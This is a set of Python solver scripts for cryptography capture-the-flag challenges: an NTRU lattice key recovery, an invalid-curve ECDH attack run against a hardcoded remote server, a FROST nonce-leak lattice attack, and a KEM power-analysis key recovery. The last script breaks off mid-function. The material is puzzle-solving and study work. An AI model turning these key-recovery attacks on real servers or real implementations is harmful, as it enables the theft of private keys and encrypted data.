#!/usr/bin/env python3
"""
TinyNTRU solver.

Recover private polynomial f (up to rotation/sign) from public key h via the
NTRU lattice L_h = { (a, b) : a*h == b (mod q) }, then decrypt ciphertexts.

N=127: plain LLL stalls around norm^2 ~13k, so we finish with BKZ (block 25),
which returns the planted (f,g) vectors (norm^2 = 127).  We scan every reduced
row with small norm, and try all N rotations x both signs for decryption; the
flag appears under the exact (f, m) alignment.

Run inside ntru-solver image (has fpylll):
  docker run --rm -v <dir>:/work -w /work --entrypoint python ntru-solver solve.py
"""
from __future__ import annotations

import pathlib
import sys
import time

from fpylll import IntegerMatrix, LLL, BKZ

BASE = pathlib.Path(__file__).resolve().parent


# ---------------------------------------------------------------- load data
def load():
    pk_ns: dict = {}
    exec((BASE / "public_key.txt").read_text(encoding="utf-8"), pk_ns)  # noqa: S102
    out_ns: dict = {}
    exec((BASE / "output.txt").read_text(encoding="utf-8"), out_ns)  # noqa: S102
    N = int(pk_ns["N"])
    p = int(pk_ns["p"])
    q = int(pk_ns["q"])
    h = list(pk_ns["h"])
    cts = [list(c) for c in out_ns["ciphertexts"]]
    assert len(h) == N
    return N, p, q, h, cts


# --------------------------------------------------------------- ring helpers
def poly_mul(a: list[int], b: list[int], n: int, mod: int | None = None) -> list[int]:
    out = [0] * n
    for i, ai in enumerate(a):
        if ai:
            for j, bj in enumerate(b):
                if bj:
                    out[(i + j) % n] += ai * bj
    if mod is not None:
        out = [x % mod for x in out]
    return out


def center(x: int, q: int) -> int:
    x %= q
    if x > q // 2:
        x -= q
    return x


def decrypt_block(ct: list[int], f: list[int], n: int, p: int, q: int) -> list[int]:
    lifted = [center(x, q) for x in poly_mul(f, ct, n, q)]
    return [x % p for x in lifted]


def trits_to_bytes(blocks: list[list[int]], chunk_bytes: int) -> bytes:
    raw = bytearray()
    for blk in blocks:
        value = 0
        for coeff in reversed(blk):
            value = value * 3 + (coeff % 3)
        raw.extend(value.to_bytes(chunk_bytes, "little"))
    size = int.from_bytes(raw[:2], "big")
    return bytes(raw[2 : 2 + size])


def rotations(poly: list[int]) -> list[list[int]]:
    return [poly[t:] + poly[:t] for t in range(len(poly))]


# ------------------------------------------------------------ lattice attack
def ntru_lattice(h: list[int], q: int, n: int):
    dim = 2 * n
    B = IntegerMatrix(dim, dim)
    for i in range(n):
        B[i, i] = 1
        for j in range(n):
            B[i, n + j] = h[(j - i) % n]
    for j in range(n):
        B[n + j, n + j] = q
    LLL.reduction(B)
    BKZ.reduction(B, BKZ.Param(block_size=25))
    rows = [[B[r][c] for c in range(dim)] for r in range(dim)]
    rows.sort(key=lambda r: sum(x * x for x in r))
    return rows


def main() -> int:
    N, p, q, h, cts = load()
    chunk_bytes = 24
    print(f"N={N} p={p} q={q}  blocks={len(cts)}", flush=True)

    t0 = time.time()
    rows = ntru_lattice(h, q, N)
    print(f"LLL+BKZ done in {time.time() - t0:.1f}s", flush=True)

    tried = 0
    for row in rows:
        f0 = row[:N]
        g0 = row[N:]
        nf = sum(x * x for x in f0)
        ng = sum(x * x for x in g0)
        if nf + ng > 4000:
            continue
        # sanity: the lattice condition must hold exactly for the found vector
        assert all((g0[j] - sum(f0[i] * h[(j - i) % N] for i in range(N))) % q == 0
                   for j in range(N)), "row not in lattice?!"
        for sign in (1, -1):
            f_base = [sign * x for x in f0]
            for cand in rotations(f_base):
                tried += 1
                try:
                    msgs = [decrypt_block(c, cand, N, p, q) for c in cts]
                    data = trits_to_bytes(msgs, chunk_bytes)
                except Exception:
                    continue
                if data.startswith(b"flag{") and data.endswith(b"}"):
                    print("FOUND:", data.decode(errors="replace"))
                    return 0
    print("no flag found; tried", tried)
    return 1


if __name__ == "__main__":
    sys.exit(main())

"""Broken ECDH - invalid curve attack against the REAL remote server.

Protocol (from server.py main()):
  banner: "Welcome to Broken ECDH." + render_public_output(flag_iv, flag_ct)
          + "You have 16 oracle queries." + "Send your peer public key as: x y"
  then 16 rounds: we send "x y\n", server replies either
          "iv = <hex>\n" + "ct = <hex>\n"   or   "invalid\n"
  all inside ONE connection (query budget is per-connection).

Attack: identical to solve.py (local sim, verified 3x). For each small factor
ell (16 factors, dropping 3), build a point of order ell on a supersingular
twist y^2 = x^3 + b', send it, trial-decrypt the AES-CBC known-plaintext blob
with keys from k*P_ell to get d mod ell, CRT recover d, verify
(d mod q)*G == public Q, then shared = d*B_pub decrypts flag_ct.

Run:  python solve_remote.py
"""

import re
import socket
import random
from hashlib import sha256

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

from ecc import Curve, Point, InvalidPoint, int_to_bytes
import params

HOST, PORT = "39.107.89.179", 20713
TIMEOUT = 30

P_MOD = params.P
ORDER = params.ORDER
KNOWN = params.KNOWN_PLAINTEXT
CURVE = Curve(P_MOD, params.A, params.B)


def derive_key(Pt):
    if Pt.is_infinity():
        raise InvalidPoint("infinity shared secret")
    return sha256(int_to_bytes(Pt.x) + int_to_bytes(Pt.y)).digest()


class RemoteOracle:
    def __init__(self, host, port, timeout=TIMEOUT):
        socket.setdefaulttimeout(timeout)
        self.sock = socket.create_connection((host, port), timeout=timeout)
        self.f = self.sock.makefile("r", encoding="utf-8", newline="\n")
        # read banner until the prompt line
        self.banner = []
        while True:
            line = self.f.readline()
            if not line:
                raise RuntimeError("server closed connection during banner")
            self.banner.append(line.rstrip("\n"))
            if line.startswith("Send your peer public key"):
                break
        text = "\n".join(self.banner)
        m_iv = re.search(r"flag_iv = ([0-9a-f]+)", text)
        m_ct = re.search(r"flag_ct = ([0-9a-f]+)", text)
        if not (m_iv and m_ct):
            raise RuntimeError("no flag_iv/flag_ct in banner:\n" + text)
        self.flag_iv = bytes.fromhex(m_iv.group(1))
        self.flag_ct = bytes.fromhex(m_ct.group(1))
        self.used = 0

    def query(self, x, y):
        self.sock.sendall(f"{x} {y}\n".encode())
        line1 = self.f.readline()
        if not line1:
            raise RuntimeError("server closed connection on query")
        line1 = line1.strip()
        if line1 == "invalid":
            return None
        m1 = re.fullmatch(r"iv = ([0-9a-f]+)", line1)
        line2 = self.f.readline().strip()
        m2 = re.fullmatch(r"ct = ([0-9a-f]+)", line2)
        if not (m1 and m2):
            raise RuntimeError(f"unexpected response: {line1!r} / {line2!r}")
        self.used += 1
        return bytes.fromhex(m1.group(1)), bytes.fromhex(m2.group(1))

    def close(self):
        try:
            self.sock.close()
        except Exception:
            pass


def find_point_of_order(ell):
    """Point of exact order ell on a twist y^2 = x^3 + b' (a = 0)."""
    cof = ORDER // ell
    while True:
        b_twist = random.randrange(1, P_MOD)
        x = random.randrange(0, P_MOD)
        rhs = (pow(x, 3, P_MOD) + b_twist) % P_MOD
        y = pow(rhs, (P_MOD + 1) // 4, P_MOD)  # p % 4 == 3
        if (y * y) % P_MOD != rhs:
            continue
        R = Point(x, y)
        P = CURVE.mul(cof, R)  # group law only depends on a=0 -> same on server
        if P.is_infinity():
            continue
        if not CURVE.mul(ell, P).is_infinity():
            continue
        if ell == 4 and CURVE.mul(2, P).is_infinity():
            continue
        return P


def recover_residue(oracle, ell):
    P_ell = find_point_of_order(ell)
    resp = oracle.query(P_ell.x, P_ell.y)
    if resp is None:
        # "invalid" -> infinity shared secret -> d == 0 (mod ell)
        return 0
    iv, ct = resp
    acc = Point()  # infinity
    for k in range(1, ell):
        acc = CURVE.add(acc, P_ell)
        key = sha256(int_to_bytes(acc.x) + int_to_bytes(acc.y)).digest()
        try:
            pt = unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(ct), 16)
        except ValueError:
            continue
        if pt == KNOWN:
            return k
    raise RuntimeError(f"no residue found mod {ell}")


def crt(residues, moduli):
    x, M = 0, 1
    for r, m in zip(residues, moduli):
        t = ((r - x) % m) * pow(M % m, -1, m) % m
        x += M * t
        M *= m
    return x, M


def main():
    random.seed()
    oracle = RemoteOracle(HOST, PORT)
    print("[*] banner received; flag_iv =", oracle.flag_iv.hex())
    print("[*] flag_ct =", oracle.flag_ct.hex())

    factors = [f for f in params.SMALL_FACTORS if f != 3]
    assert len(factors) == params.MAX_QUERIES

    residues = []
    for ell in factors:
        r = recover_residue(oracle, ell)
        residues.append(r)
        print(f"[+] query {oracle.used:>2}/16  mod {ell:>2}: d == {r}")
    oracle.close()

    d_rec, M = crt(residues, factors)
    print(f"[*] CRT modulus M = {M} ({M.bit_length()} bits) > q = {params.Q}")
    print(f"[*] recovered d candidate = {d_rec}")

    # verify against the published Q = d*G (ord(G) = q)
    G = Point(params.GX, params.GY)
    Q_pub = Point(params.QX, params.QY)
    d_mod_q = d_rec % params.Q
    ok_pub = CURVE.mul(d_mod_q, G) == Q_pub
    print(f"[*] (d_rec mod q)*G == published Q: {ok_pub}")
    if not ok_pub:
        raise RuntimeError("recovered d does not match published Q; need 59-bit DLOG fallback")

    shared = CURVE.mul(d_mod_q, Point(params.PEER_X, params.PEER_Y))
    key = derive_key(shared)
    pt = unpad(AES.new(key, AES.MODE_CBC, oracle.flag_iv).decrypt(oracle.flag_ct), 16)
    print(f"[+] decrypted flag: {pt!r}")
    print("[+] FULL CHAIN VERIFIED AGAINST REAL REMOTE")


if __name__ == "__main__":
    main()

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Cold Forge (crypto-02) solver.

Attack plan
-----------
1. FROST-2 (secp256k1, threshold 2, participants {1,2}, lagrange lambda1=2, lambda2=-1).
   Each transcript holds one signer's response z_i = k_i + c_i * lambda_i * s_i (mod n)
   where k_i = d_i + rho_i*e_i is the "effective nonce", and the leak model gives the
   top 152 bits of k_i (bucket = floor(k_i / 2^104), with up to +/-1 bucket drift).
2. For each signer separately (20 transcripts each) run an HNP lattice (CVP via
   LLL + Babai nearest plane) to recover that signer's secret share s_i.
3. Group secret  s = 2*s1 - s2 (mod n)   [interpolation at x=0 through f(1)=s1, f(2)=s2]
   verify s*G == group_public.
4. Produce deterministic BIP340 signature over the release message with key s, try a
   small set of deterministic nonce derivations, derive ChaCha20-Poly1305 key
   KDF = SHA256('cold-forge/release/v1' || bip340_signature) and decrypt; Poly1305 tag
   selects the right candidate.
"""
import json, os, sys, hashlib, itertools, base64, struct, time

# ----------------------------------------------------------------- secp256k1
P = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
Gx = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798
Gy = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8

def inv(a, m):
    return pow(a, -1, m)

def ec_add(p1, p2):
    if p1 is None: return p2
    if p2 is None: return p1
    x1, y1 = p1; x2, y2 = p2
    if x1 == x2:
        if (y1 + y2) % P == 0: return None
        lam = (3 * x1 * x1) * inv(2 * y1, P) % P
    else:
        lam = (y2 - y1) * inv(x2 - x1, P) % P
    x3 = (lam * lam - x1 - x2) % P
    y3 = (lam * (x1 - x3) - y1) % P
    return (x3, y3)

def ec_mul(k, pt):
    k %= N
    r = None
    while k:
        if k & 1: r = ec_add(r, pt)
        pt = ec_add(pt, pt)
        k >>= 1
    return r

G = (Gx, Gy)

# ------------------------------------------------------------ telemetry load
def load_telemetry(path):
    with open(path, encoding='utf-8') as f:
        return json.load(f)

# ------------------------------------------------------------ HNP (pure py LLL + Babai)
def dot(a, b): return sum(x * y for x, y in zip(a, b))

def vec_sub(a, b): return [x - y for x, y in zip(a, b)]

def vec_scale(a, s): return [x * s for x in a]

def lll_reduce(rows, delta=0.75):
    """Exact (integer) LLL reduction. rows: list of integer row vectors (basis).
    Returns reduced basis (list of integer lists).  Fraction-free integer version."""
    n = len(rows)
    dim = len(rows[0])
    b = [list(map(int, r)) for r in rows]
    # Gram-Schmidt coefficients computed in floats at each step (standard LLL)
    def gso(basis):
        mu = [[0.0] * n for _ in range(n)]
        Bn = [0.0] * n
        v = [list(map(float, x)) for x in basis]
        for i in range(n):
            for j in range(i):
                mu[i][j] = (dot(basis[i], v[j]) / Bn[j]) if Bn[j] != 0 else 0.0
                v[i] = [v[i][k] - mu[i][j] * v[j][k] for k in range(dim)]
            Bn[i] = dot(v[i], v[i])
        return mu, Bn
    mu, Bn = gso(b)
    k = 1
    cnt = 0
    while k < n:
        cnt += 1
        if cnt > 200000:
            raise RuntimeError('LLL did not converge')
        # size reduce b[k] against b[k-1..0]
        for j in range(k - 1, -1, -1):
            if abs(mu[k][j]) > 0.5:
                q = round(mu[k][j])
                b[k] = [b[k][i] - q * b[j][i] for i in range(dim)]
                for c in range(j):
                    mu[k][c] -= q * mu[j][c]
                mu[k][j] -= q
        # Lovasz condition
        if Bn[k] >= (delta - mu[k][k - 1] ** 2) * Bn[k - 1]:
            k += 1
        else:
            b[k], b[k - 1] = b[k - 1], b[k]
            # update mu, Bn incrementally (simplify: full recompute)
            mu, Bn = gso(b)
            k = max(k - 1, 1)
    return b

def gso_recompute(basis):
    n = len(basis)
    dim = len(basis[0])
    # floating Gram-Schmidt
    Bn = []
    mu = []
    bstar = []
    for i in range(n):
        vi = list(map(float, basis[i]))
        mui = []
        for j in range(i):
            m = dot(basis[i], bstar[j]) / Bn[j] if Bn[j] else 0.0
            mui.append(m)
            vi = [vi[k] - m * bstar[j][k] for k in range(dim)]
        mu.append(mui)
        bstar.append(vi)
        Bn.append(dot(vi, vi))
    return mu, Bn, bstar

def babai_nearest_plane(red_basis, target, prec=400):
    """Babai nearest plane computed in high-precision mpmath to avoid float
    cancellation (operands ~2^260, wanted residual ~2^105 needs >200 bits).
    red_basis: LLL-reduced integer basis. target: integer vector.
    Returns lattice point p (list of ints)."""
    from mpmath import mp, mpf
    mp.prec = prec
    n = len(red_basis)
    dim = len(target)
    b = [[mpf(v) for v in row] for row in red_basis]
    t = [mpf(v) for v in target]
    # GSO in high precision
    bstar = []
    Bn = []
    for i in range(n):
        vi = list(b[i])
        for j in range(i):
            mui = (sum(vi[k] * bstar[j][k] for k in range(dim)) / Bn[j]) if Bn[j] != 0 else mpf(0)
            vi = [vi[k] - mui * bstar[j][k] for k in range(dim)]
        bstar.append(vi)
        Bn.append(sum(x * x for x in vi))
    w = list(t)
    for i in range(n - 1, -1, -1):
        if Bn[i] == 0:
            continue
        num = sum(w[k] * bstar[i][k] for k in range(dim))
        ci = mp.nint(num / Bn[i])
        w = [w[k] - ci * b[i][k] for k in range(dim)]
    p = [int(target[k]) - int(mp.nint(w[k])) for k in range(dim)]
    return p

def hnp_solve_share(modulus, tlist, dlist, special=None):
    """Solve  delta_i = (d_i - t_i * x) mod n, delta_i in [0, B) small
    for x.  Returns (x, delta_ints) or None.
    CVP formulation in lattice L = {v : v_i ≡ t_i*x (mod n)}  =  nZ^m + Z·t.
    Basis: {n e_i : i != special} ∪ r, r_i = (t_i * t_special^{-1}) mod n (i!=special), r_special=1.
    """
    m = len(tlist)
    n = modulus
    # special coordinate
    if special is None:
        special = m - 1
    ts = tlist[special]
    if inv(ts, n) == 0:
        raise ValueError('special coordinate not invertible')
    tinv = inv(ts, n)
    # build m x m basis (with coordinate 'special' last after reorder)
    order = [i for i in range(m) if i != special] + [special]
    # basis rows (length m, columns follow `order`)
    rows = []
    for idx in range(m - 1):
        r = [0] * m
        r[idx] = n
        rows.append(r)
    r = []
    for j in range(m - 1):
        r.append((tlist[order[j]] * tinv) % n)
    r.append(1)
    rows.append(r)
    # target d in same coordinate order
    tgt = [dlist[i] for i in order]
    tarr = [tlist[i] for i in order]
    t0 = tarr[0]
    t0inv = inv(t0, n)
    red = lll_reduce(rows)
    p = babai_nearest_plane(red, tgt)
    x = (p[0] * t0inv) % n
    # verify
    ok = True
    deltas = []
    for i in range(m):
        di = (tgt[i] - (tarr[i] * x) % n) % n
        deltas.append(di)
        if di >= 1 << 106:  # loose sanity (true bound < 3*2^104)
            ok = False
    return (x, deltas) if ok else None

# ------------------------------------------------------------ solve shares
DISCARD = 104   # discarded low bits

def solve_signer(transcripts, lamb, n):
    """transcripts: list of dicts for one signer. Return secret share x."""
    rows = []
    for tr in transcripts:
        c = int(tr['challenge'], 16)
        z = int(tr['z'], 16)
        obs = int(tr['nonce_msb'], 16)
        t = (c * lamb) % n
        # assume true bucket in {obs-1, obs, obs+1} -> delta in [0, 3*2^104)
        u = (obs - 1) * (1 << DISCARD)
        d = (z - u) % n
        rows.append((t, d, obs))
    m = len(rows)
    tlist = [r[0] for r in rows]
    dlist = [r[1] for r in rows]
    obslist = [r[2] for r in rows]
    # try several special-coordinate choices (invertible needed)
    cands = []
    for special in range(m):
        if inv(tlist[special], n) == 1:  # gcd==1
            pass
    for special in range(m):
        if tlist[special] == 0:
            continue
        try:
            res = hnp_solve_share(n, tlist, dlist, special)
        except Exception:
            continue
        if res is None:
            continue
        x, deltas = res
        # strict verify: bucket drift <= 1 for every transcript
        if verify_share(x, rows):
            return x
        cands.append((x, sum(deltas)))
    # fall back to loosest candidate
    if cands:
        cands.sort(key=lambda e: e[1])
        x = cands[0][0]
        if verify_share(x, rows):
            return x
    return None

def verify_share(x, rows):
    for (t, d, obs) in rows:
        delta = (d - t * x) % N
        # delta in [0,3*2^104) <=> bucket = obs-1 + floor(delta/2^104) in {obs-1,obs,obs+1}
        bucket = (obs - 1) + (delta >> DISCARD)
        if abs(bucket - obs) > 1:
            return False
    return True

# ------------------------------------------------------------ BIP340
def bytes_from_int(x, nbytes=32):
    return x.to_bytes(nbytes, 'big')

def tagged_hash(tag, data):
    th = hashlib.sha256(tag.encode()).digest()
    return hashlib.sha256(th + th + data).digest()

def lift_x(x):
    if x >= P:
        return None
    y2 = (pow(x, 3, P) + 7) % P
    y = pow(y2, (P + 1) // 4, P)
    if y * y % P != y2:
        return None
    return (x, y if y % 2 == 0 else P - y)

def has_even_y(pt):
    return pt[1] % 2 == 0

def xonly(P):
    return bytes_from_int(P[0])

def xor_bytes(a, b):
    return bytes(x ^ y for x, y in zip(a, b))

def bip340_sign(msg, seckey_int, aux_rand=None):
    """BIP-340 Schnorr sign, spec-exact (x-only points, aux XOR nonce seed)."""
    if aux_rand is None:
        aux_rand = b'\x00' * 32
    if len(aux_rand) != 32:
        aux_rand = hashlib.sha256(aux_rand).digest()
    d0 = seckey_int % N
    P = ec_mul(d0, G)
    d = d0 if has_even_y(P) else (N - d0) % N
    P = ec_mul(d, G)
    t = xor_bytes(bytes_from_int(d), tagged_hash('BIP0340/aux', aux_rand))
    k0 = int.from_bytes(tagged_hash('BIP0340/nonce', t + xonly(P) + msg), 'big') % N
    if k0 == 0:
        raise ValueError('k0 zero')
    R = ec_mul(k0, G)
    k = (N - k0) % N if not has_even_y(R) else k0
    R = ec_mul(k, G)
    e = int.from_bytes(tagged_hash('BIP0340/challenge', xonly(R) + xonly(P) + msg), 'big') % N
    sig = xonly(R) + bytes_from_int((k + e * d) % N)
    return sig, P

def bip340_sign_rfc6979(msg, seckey_int, even_key=True):
    """BIP-340-frame Schnorr but with RFC6979 deterministic nonce (variants)."""
    d0 = seckey_int % N
    P = ec_mul(d0, G)
    d = d0 if has_even_y(P) else (N - d0) % N
    P = ec_mul(d, G)
    kseed = d if even_key else d0
    k0 = rfc6979_k(kseed, msg)
    R = ec_mul(k0, G)
    k = (N - k0) % N if not has_even_y(R) else k0
    R = ec_mul(k, G)
    e = int.from_bytes(tagged_hash('BIP0340/challenge', xonly(R) + xonly(P) + msg), 'big') % N
    sig = xonly(R) + bytes_from_int((k + e * d) % N)
    return sig, P

def bip340_selftest():
    """BIP-340 test vector 0."""
    seckey = bytes.fromhex('0000000000000000000000000000000000000000000000000000000000000003')
    aux = bytes.fromhex('0000000000000000000000000000000000000000000000000000000000000000')
    msg = bytes.fromhex('0000000000000000000000000000000000000000000000000000000000000000')
    want = 'E907831F80848D1069A5371B402410364BDF1C5F8307B0084C55F1CE2DCA821525F66A4A85EA8B71E482A74F382D2CE5EBEEE8FDB2172F477DF4900D310536C0'
    sig, _ = bip340_sign(msg, int.from_bytes(seckey, 'big'), aux)
    return sig.hex().upper() == want

# RFC6979 for secp256k1 (SHA-256) -> deterministic scalar k
def rfc6979_k(skey_int, msg, n=N):
    def bits2int(b):
        z = int.from_bytes(b, 'big')
        blen = len(b) * 8
        if blen > n.bit_length():
            z >>= (blen - n.bit_length())
        return z
    def int2octets(x):
        return bytes_from_int(x, (n.bit_length() + 7) // 8)
    def bits2octets(b):
        z1 = bits2int(b)
        z2 = z1 - n if z1 >= n else z1
        return int2octets(z2)
    h1 = hashlib.sha256(msg).digest()
    x = int2octets(skey_int % n)
    V = b'\x01' * 32
    K = b'\x00' * 32
    K = hashlib.sha256(K + b'\x00' + x + bits2octets(h1)).digest()
    V = hashlib.sha256(V).digest()
    K = hashlib.sha256(K + b'\x01' + V + x + bits2octets(h1)).digest()
    V = hashlib.sha256(V).digest()
    while True:
        V = hashlib.sha256(V).digest()
        k = bits2int(V)
        if 1 <= k < n:
            return k
        K = hashlib.sha256(K + b'\x00' + V).digest()
        V = hashlib.sha256(V).digest()

# ------------------------------------------------------------ KDF / AEAD
def try_decrypt(key, nonce, aad, ct, tag):
    from Crypto.Cipher import ChaCha20_Poly1305
    try:
        c = ChaCha20_Poly1305.new(key=key, nonce=nonce)
        c.update(aad)
        pt = c.decrypt_and_verify(ct, tag)
        return pt
    except Exception:
        return None

if __name__ == '__main__':
    base = os.path.dirname(os.path.abspath(__file__))
    # attach dirs
    data_candidates = [
        base,  # attachments copied here at solve time
        os.path.join(base, '..', '..', 'CRYPOTO', 'cold_forge'),
        os.path.join(base, 'attachments'),
    ]
    data_dir = None
    for cand in data_candidates:
        if os.path.isdir(cand) and os.path.isfile(os.path.join(cand, 'frost_telemetry.json')):
            data_dir = cand
            break
    if data_dir is None:
        # allow env/argv override
        for p in (os.environ.get('COLD_FORGE_DATA'),):
            if p and os.path.isfile(os.path.join(p, 'frost_telemetry.json')):
                data_dir = p
    if data_dir is None:
        print('cannot find data dir', file=sys.stderr)
        sys.exit(2)
    t0 = time.time()
    tel = load_telemetry(os.path.join(data_dir, 'frost_telemetry.json'))
    sealed = load_telemetry(os.path.join(data_dir, 'sealed_release.json'))
    n = int(tel['group_order'], 16)
    lam = {int(k): int(v, 16) % n for k, v in tel['lagrange_coefficients'].items()}
    Y = (int(tel['group_public']['x'], 16), int(tel['group_public']['y'], 16))
    msg = bytes.fromhex(tel['message_hex'])
    trs = tel['transcripts']
    by_signer = {}
    for t in trs:
        by_signer.setdefault(int(t['signer']), []).append(t)
    print('transcripts per signer:', {k: len(v) for k, v in by_signer.items()})
    shares = {}
    for signer, ts_ in by_signer.items():
        x = solve_signer(ts_, lam[signer], n)
        if x is None:
            print(f'FAILED to recover share for signer {signer}')
            sys.exit(3)
        shares[signer] = x
        print(f'signer {signer} share recovered: {x:064x}')

    s = (shares[1] * lam[1] + shares[2] * lam[2]) % n
    print('group secret s =', hex(s))
    Spt = ec_mul(s, G)
    print('s*G =', (hex(Spt[0]), hex(Spt[1])))
    print('Y   =', (hex(Y[0]), hex(Y[1])))
    if Spt != Y:
        print('WARNING: s*G != group_public')
    else:
        print('OK: s*G == group_public')

    # ---- build candidate signatures (deterministic) and try each for decrypt
    print('BIP340 self-test pass:', bip340_selftest())
    nonce_bytes = base64.b64decode(sealed['nonce'])
    aad = base64.b64decode(sealed['aad'])
    ct_full = base64.b64decode(sealed['ciphertext'])
    ct, tag = ct_full[:-16], ct_full[-16:]
    prefix = b'cold-forge/release/v1'
    msg0 = bytes.fromhex(tel['message_hex'])
    msg_variants = {
        'msg-raw': msg0,
        'msg-sha256(raw)': hashlib.sha256(msg0).digest(),
        'msg-hexascii': tel['message_hex'].encode(),
        'msg-sha256(hexascii)': hashlib.sha256(tel['message_hex'].encode()).digest(),
    }
    aux_variants = {
        'aux0': b'\x00' * 32,
        'aux1': b'\x01' * 32,
        'aux=sha256(prefix)': hashlib.sha256(prefix).digest(),
        'aux=prefix': prefix,
        'aux=sha256(msg0)': hashlib.sha256(msg0).digest(),
    }

    def add_sig(tbl, mname, keydesc, sig):
        tbl[mname + ' | ' + keydesc] = sig

    sigs = {}
    for mname, m in msg_variants.items():
        for aname, aux in aux_variants.items():
            try:
                sig, _ = bip340_sign(m, s, aux)
                add_sig(sigs, mname, f'bip340({aname})', sig)
            except Exception:
                pass
        # RFC6979 variants (over the same message object)
        try:
            add_sig(sigs, mname, 'rfc6979-evenkey', bip340_sign_rfc6979(m, s, True)[0])
        except Exception:
            pass
        try:
            add_sig(sigs, mname, 'rfc6979-rawkey', bip340_sign_rfc6979(m, s, False)[0])
        except Exception:
            pass
        # simple deterministic nonce schemes
        for dname, dfn in [
            ('k=H(s||m)', lambda: hashlib.sha256(bytes_from_int(s) + m).digest()),
            ('k=H(m||s)', lambda: hashlib.sha256(m + bytes_from_int(s)).digest()),
            ('k=H(s||Px||m)', lambda: hashlib.sha256(bytes_from_int(s) + bytes_from_int(ec_mul(s, G)[0]) + m).digest()),
        ]:
            try:
                kint = int.from_bytes(dfn(), 'big') % N
                if kint == 0:
                    continue
                d0 = s % N
                P = ec_mul(d0, G)
                d = d0 if has_even_y(P) else (N - d0) % N
                P = ec_mul(d, G)
                R = ec_mul(kint, G)
                k = (N - kint) % N if not has_even_y(R) else kint
                R = ec_mul(k, G)
                e = int.from_bytes(tagged_hash('BIP0340/challenge', xonly(R) + xonly(P) + m), 'big') % N
                sig = xonly(R) + bytes_from_int((k + e * d) % N)
                add_sig(sigs, mname, dname, sig)
            except Exception:
                pass

    found = None
    for name, sig in sigs.items():
        key = hashlib.sha256(prefix + sig).digest()
        pt = try_decrypt(key, nonce_bytes, aad, ct, tag)
        if pt is not None:
            found = (name, sig, pt)
            break
    if found:
        name, sig, pt = found
        print('FOUND with sig variant:', name)
        print('signature hex:', sig.hex())
        print('plaintext:', pt)
        # flag detection
        import re
        flags = re.findall(rb'(?:flag|ctf|FLAG)\{[^}\n]{0,100}\}', pt)
        print('flags found:', flags)
    else:
        print('no decryption candidate matched (tried %d sigs)' % len(sigs))
        for name in list(sigs)[:12]:
            print(' - tried', name, sigs[name].hex()[:32])
    print('elapsed %.1fs' % (time.time() - t0))

#!/usr/bin/env python3
"""SlashKEM side-channel solve (湾区杯2026 CRYPTO 05) — run from challenges/crypto-03/.

Stage 1: CPA.  Decapsulation leaks coefficient c's Montgomery product s[c]*u[c]
         at trace time 96 + bitrev7(c).  Recover all 128 coeffs in {-2..2}.
Stage 2: The 16 coeffs c≡3 (mod 8) leak ~nothing (SNR ~ 0).  Fill them by MITM
         search over the exact algebraic constraint t = M s + e (mod q), e in {-1,0,1}.
Stage 3: key = sha256(encode_secret(s)); flag = AES-GCM(key, nonce="SLASHKEM2026").

Requires: challenge.py, output.txt, traces.npz in cwd; numpy + pycryptodome.
Run: python solve.py   (prints the flag)
"""
import numpy as np, json, hashlib, base64, sys

Q = 3329
MONT_R = 1 << 16
QINV = (-pow(Q, -1, MONT_R)) % MONT_R
SV = (-2, -1, 0, 1, 2)

def montgomery_reduce(a, q=Q):
    t = (a * QINV) & 0xFFFF
    u = (a + t * q) >> 16
    return u % q

def centered(x, q=Q):
    x %= q
    if x > q // 2:
        x -= q
    return x

def hw16(x):
    return (int(x) & 0xFFFF).bit_count()

def leakage_model(s, p):
    z = montgomery_reduce(s * p)
    pre = montgomery_reduce(7 * p + 0x1234)
    return hw16((centered(z) & 0xFFFF) ^ (centered(pre) & 0xFFFF))

def bitrev7(c):
    return int(f'{c:07b}'[::-1], 2)

def negacyclic_mul(a, b, q=Q):
    n = len(a); out = [0]*n
    for i, ai in enumerate(a):
        for j, bj in enumerate(b):
            idx = i + j
            sign = 1
            if idx >= n:
                idx -= n; sign = -1
            out[idx] = (out[idx] + sign*ai*bj) % q
    return out

def derive_key(secret):
    encoded = bytearray()
    for poly in secret:
        for coeff in poly:
            assert coeff in (-2,-1,0,1,2)
            encoded.append(coeff + 2)
    return hashlib.sha256(bytes(encoded)).digest()

def load_M_t():
    d = json.load(open('output.txt', encoding='utf-8'))
    pub = d['public_key']
    A, t = pub['A'], pub['t']
    cols = []
    for idx in range(128):
        sp, ci = idx // 64, idx % 64
        basis = [0]*64; basis[ci] = 1
        col = []
        for row in range(2):
            col.extend(negacyclic_mul(A[row][sp], basis))
        cols.append(col)
    M = np.array(cols, dtype=np.int64).T      # t_flat = M @ s_flat + e
    t_flat = np.array([int(x) for p in t for x in p], dtype=np.int64)
    return d, M, t_flat

def cpa_recover():
    d = np.load('traces.npz')
    traces = d['traces'].astype(np.float64)
    u = d['u_samples'].astype(np.int64)
    th = traces - traces.mean(axis=0)
    th_n = np.sqrt((th**2).sum(axis=0)); th_n[th_n == 0] = 1
    guess = []
    weak = []
    for c in range(128):
        colc = th[:, 96 + bitrev7(c)]
        colc = colc - colc.mean()
        cn = np.sqrt((colc**2).sum()) or 1.0
        pc = u[:, c]
        H = np.array([[leakage_model(h, int(p)) for p in pc] for h in SV], dtype=np.float64)
        hh = H - H.mean(axis=1, keepdims=True)
        hn = np.sqrt((hh**2).sum(axis=1))[:, None]; hn[hn == 0] = 1
        corr = (hh @ colc) / (hn[:, 0] * cn)
        hi = int(np.argmax(np.abs(corr)))
        guess.append(SV[hi])
        if abs(corr[hi]) < 0.5 or abs(corr[hi]) - np.abs(np.delete(corr, hi)).max() < 0.05:
            weak.append(c)
    return np.array(guess, dtype=np.int64), weak

def fill16(M, t_flat, guess, weak):
    """MITM over the 16 weak coeffs: find s_U in {-2..2}^16 with e = t-Ms in {-1,0,1}."""
    UA, UB = weak[:8], weak[8:]
    known = [c for c in range(128) if c not in weak]
    b = (t_flat - M[:, known] @ guess[known]) % Q
    SIG = np.array([0, 42, 95], dtype=int)
    vals = np.array([-2,-1,0,1,2], dtype=np.int64)
